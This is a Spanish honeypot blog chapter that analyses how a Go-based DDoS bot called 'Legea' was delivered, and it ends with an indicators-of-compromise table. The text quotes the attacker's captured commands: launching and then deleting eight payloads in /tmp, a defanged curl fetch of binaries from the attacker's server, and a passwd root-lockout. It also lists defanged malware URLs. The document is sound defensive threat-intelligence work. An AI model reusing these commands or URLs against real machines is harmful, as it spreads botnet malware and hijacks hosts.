Legea · Capítulo 31
Una puerta, tres visitantes
Cuarenta megas de binario que no se dejan abrir: el descompilador los mira y dice que no. Antes de forzar esa puerta, lo aburrido y necesario, quién los trajo hasta aquí.
De madrugada, el cebo recibe una visita con prisa. Entra por SSH con root/root (la credencial más barata que existe), abre una sesión de transferencia de ficheros y empieza a subir binarios. No uno: ocho, uno por cada tipo de procesador. En apenas cinco minutos están los ocho dentro, y entonces viene la línea que lo resume todo:
cd /tmp; chmod +x *; ./x86 & ./x64 & ./armv7l & ./arm64 & ./armv5 & ./mips & ./mips64 & ./mipsle &
sleep 5; rm -rf *Los lanza todos a la vez, espera cinco segundos y borra la carpeta. No le interesa saber qué máquina ha pillado: dispara los ocho y el que arranque, se queda. El cebo le contesta Exec format error a casi todos, porque son binarios de otras arquitecturas, y solo uno encaja. Esa es la gracia del reparto multiarquitectura: es más barato subir ocho ficheros que preguntar.
Y se lanzan sin un solo argumento. Eso ya dice algo del bicho antes de abrirlo: toda su configuración va dentro, incluido a quién llama. Lo que vengo a contar hoy no es, sin embargo, lo que lleva dentro (eso es el capítulo siguiente), sino de dónde salió. Porque el servidor que lo trajo tiene una historia propia.
Legea bot de DDoS en Go, sin catalogar
- sha256 (x64)
- 0475f283…67318c74
- Tipo
- ELF estático, stripped, escrito en Go 1.24
- Tamaño
- 33–40 MB según arquitectura (~23,6 MB solo de código)
- Arquitecturas
- 8 subidas: x86, x64, armv5, armv7l, arm64, mips, mips64, mipsle
- De dónde sale el nombre
- de una palabra de su propio código · capítulo 32
01Vuelve tres veces, y cada vez peor
Lo que hace después es lo que delata que no hay nadie mirando. Vuelve tres veces más el mismo día. A media mañana entra otra vez, ahora con root/password y con admin/default, y se limita a un uname -a, como si no supiera que ya ha estado aquí. Cerca del mediodía vuelve a intentar la subida y se le corta a medias. Un minuto después repite la tanda entera, los ocho binarios de nuevo, desde el principio.
Es automatizado y cabezota: reintenta sin memoria de lo anterior, prueba credenciales distintas sobre una puerta que ya le había abierto, y repite la entrega completa cuando se le rompe. Que vuelva cuatro veces no prueba que haya nadie al otro lado decidiendo volver: un bucle mal escrito hace exactamente esto.
Y hay un detalle que me gustó, porque es gratis: su cliente SSH se presenta como SSH-2.0-Go. Eso apunta a que el repartidor esté escrito en Go, igual que lo que reparte, aunque un banner se puede poner a lo que uno quiera y por sí solo no prueba nada.
02El segundo mostrador: por HTTP, uno por arquitectura
El SFTP de la madrugada no es su único mostrador. El mismo servidor sirve los binarios por HTTP, colgados en la raíz, uno por arquitectura, y se los descargan con wget. Eso está fichado desde fuera, en un repositorio público de URLs maliciosas, y no hace falta creerme a mí: hay nueve direcciones catalogadas.
hxxp://130.12.180[.]32/x86 hxxp://130.12.180[.]32/mips
hxxp://130.12.180[.]32/x64 hxxp://130.12.180[.]32/mips64
hxxp://130.12.180[.]32/armv5 hxxp://130.12.180[.]32/mipsle
hxxp://130.12.180[.]32/armv7l hxxp://130.12.180[.]32/arm64
hxxp://130.12.180[.]32/armv5l ← la novena: caída, y no la capturamosNueve, y yo tengo ocho. La que falta es armv5l, que ya estaba caída cuando fui a mirar: una novena variante que no llegó al cebo.
Que haya dos vías de entrega significa que hay un cargador suelto por ahí haciendo wget contra la IP y pidiendo su arquitectura. El SFTP de la madrugada es la entrega a mano; el HTTP es la que usa el resto de la cadena.
03Esa IP ya había estado aquí. Y trajo otra cosa.
Antes de ponerme con el binario hice la comprobación aburrida, la de siempre: ¿esta dirección es nueva por aquí? No lo era. La misma IP había pasado por el cebo nueve días antes, y la visita de entonces no se parece en nada a la de ahora.
Aquel día entró, hizo su uname -a de reconocimiento y, un rato después, volvió a por lo suyo: un curl contra su propio puerto 33441 para bajarse cuatro binarios llamados lgtv*, de unos 4,8 MB cada uno. Nada que ver con los de ahora: otra familia, otro tamaño, otro puerto, otro método de entrega. Y acto seguido, el remate:
# reconocimiento
uname -a
# se baja OTRA familia, de su propio puerto 33441
curl -O hxxp://130.12.180[.]32:33441/lgtv{arm64,x64,armv7,…}
# → 4 binarios de ~4,8 MB. Los tengo. No tienen parentesco con los de hoy.
# y antes de irse:
passwd ← le cambia la contraseña de root a la víctimaEse passwd final es el gesto clásico del que quiere la máquina para él: una vez dentro, cambia la contraseña de root y cierra la puerta por la que acaba de entrar, para que el siguiente que pase con root/root se encuentre el paso cerrado. Nada de eso aparece en la visita de los ocho binarios en Go.
Y hay más, esta vez sin mirar mis registros: el mismo servidor anuncia por HTTP, en esa misma raíz y junto a los nueve ficheros de hoy, un minero de Monero y un cargador de Sora, que es otra rama de Mirai. Cuatro cadenas de compilación distintas, cuatro modelos de mando distintos.
Y hay una economía que empuja en la misma dirección. Cada IP de reparto se quema: acaba en listas de bloqueo y en bases de reputación, y cada día que pasa sirve peor. Sacar cuatro familias por una sola caja quema una dirección en vez de cuatro, y repartir ese coste entre varios clientes es justo el negocio del que alquila la puerta. Mantener a la vez esas cuatro cadenas de compilación y esos cuatro modelos de mando, en cambio, es mucho trabajo para un solo dueño.
El remate que lo cierra viene de la propia caja. Su clave de host SSH, la huella con la que un servidor se identifica, la comparten unas 722 direcciones más, repartidas entre varios proveedores. Eso no es un servidor montado a medida: es una imagen de VPS clonada, una caja de mercado alquilada como se alquilan las demás. El operador no construyó nada; pagó un mes.
04No iba a por nosotros (y llegaba quemado)
Para calibrar si esto era una visita dirigida o ruido de fondo, la pregunta buena es cuánta gente más se está quejando de esa IP. El día que nos tocó, 3.185 reportes en una base pública de abuso, de 1.398 denunciantes distintos. Nueve días antes, cuando trajo la otra familia, eran 1.009. Y aparece en 49 pulsos de inteligencia, casi todos de redes de cebos de medio mundo.
Eso no es un atacante que nos haya elegido: es una manguera apuntada a internet entera, y nosotros estábamos en la trayectoria. Un buscador de aparatos ve ese SSH abierto desde finales de septiembre, y ningún dominio ha apuntado jamás a esa dirección: el operador trabaja con IP pelada, sin nombre por medio. Lo cual, de paso, deja el rastro hacia delante bastante corto.
05Primer contacto: el binario miente sobre sí mismo
Con la entrega entendida, a por el fichero. Y el primer contacto ya es raro por dos sitios.
El primero, el tamaño: de 33 a 40 MB, casi todo código. Para un bot de IoT, que normalmente pesa menos de un megabyte, es una barbaridad; es lo que pasa cuando compilas en Go y te llevas el lenguaje entero dentro del fichero. El segundo, el reflejo de siempre: saco los hashes y los busco. Están: los ocho, subidos a un repositorio público de muestras el día antes de caer aquí, y por una cuenta ajena. Pero están sin nombre de familia, porque ni un motor dice qué es. Uno de ellos, directamente, lo da por fichero legítimo. Así que el hash no me iba a ahorrar el trabajo.
Lo abro con el descompilador y me encuentro la puerta en la cara:
Ghidra: invalid Go version ← «versión de Go inválida»
y aborta el análisis del binarioVersión de Go inválida. Un binario que sí es de Go, que arranca y funciona en una máquina real, pero que al abrirlo cuenta de sí mismo algo que no se sostiene. Alguien ha tocado lo que el fichero dice que es.
06Indicadores
Los de la entrega. Los del bicho por dentro (su centro de mando, sus dominios y lo que deja en el disco) van en el capítulo siguiente, que es donde salen.
| Tipo | Valor |
|---|---|
| Servidor de reparto | 130.12.180.32 (Virtualine Technologies / Omegatech, DE). Entra por SSH con root/root, root/password, admin/default; sube por SFTP y además sirve por HTTP |
| Reparto por HTTP | hxxp://130.12.180[.]32/{x86, x64, armv5, armv5l, armv7l, arm64, mips, mips64, mipsle} · 9 direcciones, 8 activas |
| Herramienta de reparto | cliente SSH SSH-2.0-Go · HASSH f64043bfb57b94caaffcf99ca8a5eb0f |
| Huella del servidor (débil) | clave de host SSH 32:23:22:68:cd:1f:6a:50:c0:ed:15:c5:68:cc:96:a5 · compartida por ~722 IPs (imagen de VPS clonada, no identifica al operador) |
| IPs hermanas | 130.12.180.78 · 130.12.180.122 |
| Otras familias por la misma puerta | lgtv{arm64,x64,armv7,…} por el puerto 33441 (9 días antes) · hxxp://130.12.180[.]32/xmrig (minero) · hxxp://130.12.180[.]32/sora.sh (cargador de Sora). No son de esta familia: son la prueba de que el nodo reparte para varios |
| Comportamiento en la víctima | subida de 8 binarios a /tmp, chmod +x *, lanzamiento simultáneo sin argumentos, sleep 5; rm -rf *. En la visita de 9 días antes: passwd para cerrar la puerta tras entrar |
| Muestras · sha256 (una por arquitectura) | |
| x86 | 0cc42472a07cf14668e899b73adafe666d02495bf9349715613c8e7ba57244ea |
| x64 | 0475f2831e60ac0b229f346036e339d20ad1d1165b005a89b634dc7c67318c74 |
| armv5 | e59547abdff8019da736bcb8c252cbf5ce96b9695775031b10da334867b59b62 |
| armv7l | 9d0891f849ccc8c0eff4ea961702087eeeceeb00cff94a7cb0542839be3421f5 |
| arm64 | 536a376337fed899e58a86baca1fc584d570be8e708b6c302cc6f24626dfcfd7 |
| mips | 8c21db937a85cf7ed804501cdfee7d1c543aa9a56d4d1187951b8f8048af1c10 |
| mips64 | f5cf1b8ee8ddced3fb5e081dc1543669c3b62767c45da63002032da87632839d |
| mipsle | d570a1702448fac805fe39e9a49fd1ca24e4505161eec68cf6e7f5e2b6a34ce0 |
Continuará - ocho ficheros de 40 MB que no dejan abrirse, y un servidor que alquila su puerta a quien pase. En el siguiente le quito la máscara al binario: son tres bytes mentirosos, y debajo hay más de lo que esperaba. 🍯
Comentarios